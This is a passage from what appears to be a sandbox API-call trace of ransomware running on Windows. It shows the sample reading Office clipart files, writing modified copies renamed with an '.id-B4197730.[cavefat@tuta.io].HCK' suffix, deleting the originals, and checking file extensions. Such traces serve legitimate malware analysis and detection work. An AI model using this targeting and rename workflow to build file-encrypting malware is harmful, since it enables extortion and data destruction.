dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0232.186] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0232.186] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0232.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0232.186] GetLastError () returned 0x0 [0232.186] ReadFile (in: hFile=0x4b0, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x43b4, lpOverlapped=0x0) returned 1 [0232.188] WriteFile (in: hFile=0x54c, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x43c0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x43c0, lpOverlapped=0x0) returned 1 [0232.189] ReadFile (in: hFile=0x4b0, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0232.189] WriteFile (in: hFile=0x54c, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0232.189] SetEndOfFile (hFile=0x54c) returned 1 [0232.189] CloseHandle (hObject=0x54c) returned 1 [0232.189] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0232.189] SetEndOfFile (hFile=0x4b0) returned 1 [0232.191] CloseHandle (hObject=0x4b0) returned 1 [0232.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.192] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf")) returned 1 [0232.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0232.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0232.192] lstrlenW (lpString=".doc") returned 4 [0232.192] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.192] lstrlenW (lpString=".docx") returned 5 [0232.192] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0232.192] lstrlenW (lpString=".pdf") returned 4 [0232.192] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.192] lstrlenW (lpString=".xls") returned 4 [0232.192] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.192] lstrlenW (lpString=".xlsx") returned 5 [0232.192] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0232.192] lstrlenW (lpString=".ppt") returned 4 [0232.192] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0232.192] lstrlenW (lpString=".zip") returned 4 [0232.192] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.193] lstrlenW (lpString=".rar") returned 4 [0232.193] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.193] lstrlenW (lpString=".bz2") returned 4 [0232.193] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.193] lstrlenW (lpString=".7z") returned 3 [0232.193] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0232.193] lstrlenW (lpString=".dbf") returned 4 [0232.193] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0232.193] lstrlenW (lpString=".1cd") returned 4 [0232.193] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0232.193] lstrlenW (lpString=".jpg") returned 4 [0232.193] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0232.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0232.193] lstrlenW (lpString=".doc") returned 4 [0232.193] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.193] lstrlenW (lpString=".docx") returned 5 [0232.193] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0232.193] lstrlenW (lpString=".pdf") returned 4 [0232.193] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.193] lstrlenW (lpString=".xls") returned 4 [0232.193] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.193] lstrlenW (lpString=".xlsx") returned 5 [0232.193] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0232.193] lstrlenW (lpString=".ppt") returned 4 [0232.193] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0232.193] lstrlenW (lpString=".zip") returned 4 [0232.193] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.193] lstrlenW (lpString=".rar") returned 4 [0232.193] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.193] lstrlenW (lpString=".bz2") returned 4 [0232.193] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.193] lstrlenW (lpString=".7z") returned 3 [0232.193] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0232.193] lstrlenW (lpString=".dbf") returned 4 [0232.193] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0232.193] lstrlenW (lpString=".1cd") returned 4 [0232.193] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0232.194] lstrlenW (lpString=".jpg") returned 4 [0232.194] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.194] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0232.194] lstrlenW (lpString="J0105530.WMF") returned 12 [0232.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0232.194] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=7384) returned 1 [0232.194] CloseHandle (hObject=0x4b0) returned 1 [0232.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf")) returned 0x220 [0232.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0232.195] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0232.195] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0232.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0232.196] GetLastError () returned 0x0 [0232.196] ReadFile (in: hFile=0x4b0, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x1cd8, lpOverlapped=0x0) returned 1 [0232.358] WriteFile (in: hFile=0x54c, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x1ce0, lpOverlapped=0x0) returned 1 [0232.359] ReadFile (in: hFile=0x4b0, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0232.359] WriteFile (in: hFile=0x54c, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0232.359] SetEndOfFile (hFile=0x54c) returned 1 [0232.507] CloseHandle (hObject=0x54c) returned 1 [0232.507] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0232.507] SetEndOfFile (hFile=0x4b0) returned 1 [0232.509] CloseHandle (hObject=0x4b0) returned 1 [0232.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.510] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf")) returned 1 [0232.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0232.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0232.510] lstrlenW (lpString=".doc") returned 4 [0232.510] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.510] lstrlenW (lpString=".docx") returned 5 [0232.510] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0232.510] lstrlenW (lpString=".pdf") returned 4 [0232.510] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.510] lstrlenW (lpString=".xls") returned 4 [0232.510] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.510] lstrlenW (lpString=".xlsx") returned 5 [0232.510] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0232.510] lstrlenW (lpString=".ppt") returned 4 [0232.510] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0232.511] lstrlenW (lpString=".zip") returned 4 [0232.511] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.511] lstrlenW (lpString=".rar") returned 4 [0232.511] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.511] lstrlenW (lpString=".bz2") returned 4 [0232.511] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.511] lstrlenW (lpString=".7z") returned 3 [0232.511] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0232.511] lstrlenW (lpString=".dbf") returned 4 [0232.511] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0232.511] lstrlenW (lpString=".1cd") returned 4 [0232.511] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0232.511] lstrlenW (lpString=".jpg") returned 4 [0232.511] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0232.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0232.511] lstrlenW (lpString=".doc") returned 4 [0232.511] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.511] lstrlenW (lpString=".docx") returned 5 [0232.511] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0232.511] lstrlenW (lpString=".pdf") returned 4 [0232.511] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.511] lstrlenW (lpString=".xls") returned 4 [0232.511] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.511] lstrlenW (lpString=".xlsx") returned 5 [0232.511] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0232.511] lstrlenW (lpString=".ppt") returned 4 [0232.511] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0232.511] lstrlenW (lpString=".zip") returned 4 [0232.511] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.511] lstrlenW (lpString=".rar") returned 4 [0232.511] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.511] lstrlenW (lpString=".bz2") returned 4 [0232.511] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.511] lstrlenW (lpString=".7z") returned 3 [0232.511] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0232.511] lstrlenW (lpString=".dbf") returned 4 [0232.511] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0232.511] lstrlenW (lpString=".1cd") returned 4 [0232.511] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0232.511] lstrlenW (lpString=".jpg") returned 4 [0232.511] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.512] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0232.512] lstrlenW (lpString="J0106124.WMF") returned 12 [0232.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0232.512] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=5812) returned 1 [0232.512] CloseHandle (hObject=0x4b0) returned 1 [0232.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf")) returned 0x220 [0232.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0232.513] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0232.513] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0232.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0232.513] GetLastError () returned 0x0 [0232.513] ReadFile (in: hFile=0x4b0, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x16b4, lpOverlapped=0x0) returned 1 [0232.514] WriteFile (in: hFile=0x54c, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x16c0, lpOverlapped=0x0) returned 1 [0232.515] ReadFile (in: hFile=0x4b0, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0232.515] WriteFile (in: hFile=0x54c, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0232.515] SetEndOfFile (hFile=0x54c) returned 1 [0232.516] CloseHandle (hObject=0x54c) returned 1 [0232.516] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0232.516] SetEndOfFile (hFile=0x4b0) returned 1 [0232.518] CloseHandle (hObject=0x4b0) returned 1 [0232.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.518] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf")) returned 1 [0232.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0232.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0232.519] lstrlenW (lpString=".doc") returned 4 [0232.519] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.519] lstrlenW (lpString=".docx") returned 5 [0232.519] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0232.519] lstrlenW (lpString=".pdf") returned 4 [0232.519] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.519] lstrlenW (lpString=".xls") returned 4 [0232.519] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.519] lstrlenW (lpString=".xlsx") returned 5 [0232.519] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0232.519] lstrlenW (lpString=".ppt") returned 4 [0232.519] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0232.519] lstrlenW (lpString=".zip") returned 4 [0232.519] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.519] lstrlenW (lpString=".rar") returned 4 [0232.519] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.519] lstrlenW (lpString=".bz2") returned 4 [0232.519] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.519] lstrlenW (lpString=".7z") returned 3 [0232.519] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0232.519] lstrlenW (lpString=".dbf") returned 4 [0232.519] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0232.519] lstrlenW (lpString=".1cd") returned 4 [0232.519] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0232.519] lstrlenW (lpString=".jpg") returned 4 [0232.519] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0232.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0232.520] lstrlenW (lpString=".doc") returned 4 [0232.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.520] lstrlenW (lpString=".docx") returned 5 [0232.520] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0232.520] lstrlenW (lpString=".pdf") returned 4 [0232.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.520] lstrlenW (lpString=".xls") returned 4 [0232.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.520] lstrlenW (lpString=".xlsx") returned 5 [0232.520] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0232.520] lstrlenW (lpString=".ppt") returned 4 [0232.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0232.520] lstrlenW (lpString=".zip") returned 4 [0232.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.520] lstrlenW (lpString=".rar") returned 4 [0232.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.520] lstrlenW (lpString=".bz2") returned 4 [0232.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.520] lstrlenW (lpString=".7z") returned 3 [0232.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0232.520] lstrlenW (lpString=".dbf") returned 4 [0232.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0232.520] lstrlenW (lpString=".1cd") returned 4 [0232.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0232.520] lstrlenW (lpString=".jpg") returned 4 [0232.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.520] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0232.520] lstrlenW (lpString="J0106146.WMF") returned 12 [0232.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0232.521] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=23548) returned 1 [0232.521] CloseHandle (hObject=0x4b0) returned 1 [0232.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf")) returned 0x220 [0232.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0232.521] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0232.521] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0232.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 